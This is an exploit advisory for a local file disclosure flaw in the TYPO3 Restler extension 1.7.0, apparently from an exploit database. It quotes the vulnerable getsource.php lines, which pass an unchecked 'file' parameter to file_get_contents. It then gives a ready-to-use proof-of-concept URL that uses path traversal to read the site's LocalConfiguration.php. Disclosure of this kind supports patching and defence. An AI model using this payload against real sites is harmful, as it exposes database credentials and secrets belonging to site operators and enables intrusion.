TYPO3 Extension Restler 1.7.0 - Local File Disclosure

# Exploit Title: Typo3 Restler Extension - Local File Disclosure
# Date: 2017-10-13
# Exploit Author: CrashBandicot @dosperl
# Vendor Homepage: https://www.aoe.com/
# Software Link: https://extensions.typo3.org/extension/restler/
# Tested on : MsWin
# Version: 1.7.0 (last)


# Vulnerability File : getsource.php

3.      $file = $_GET['file'];
13.        $text = file_get_contents($file);
16.      die($file . '<pre id="php">' . htmlspecialchars($text) . "</pre>");


# PoC : 
# http://vuln.site/typo3conf/ext/restler/vendor/luracast/restler/public/examples/resources/getsource.php?file=../../../../../../../LocalConfiguration.php

# https://i.imgur.com/zObmaDD.png


# Timeline :

# Vulnerability identified
# Vendor notified
# CVE number requested
# Exploit released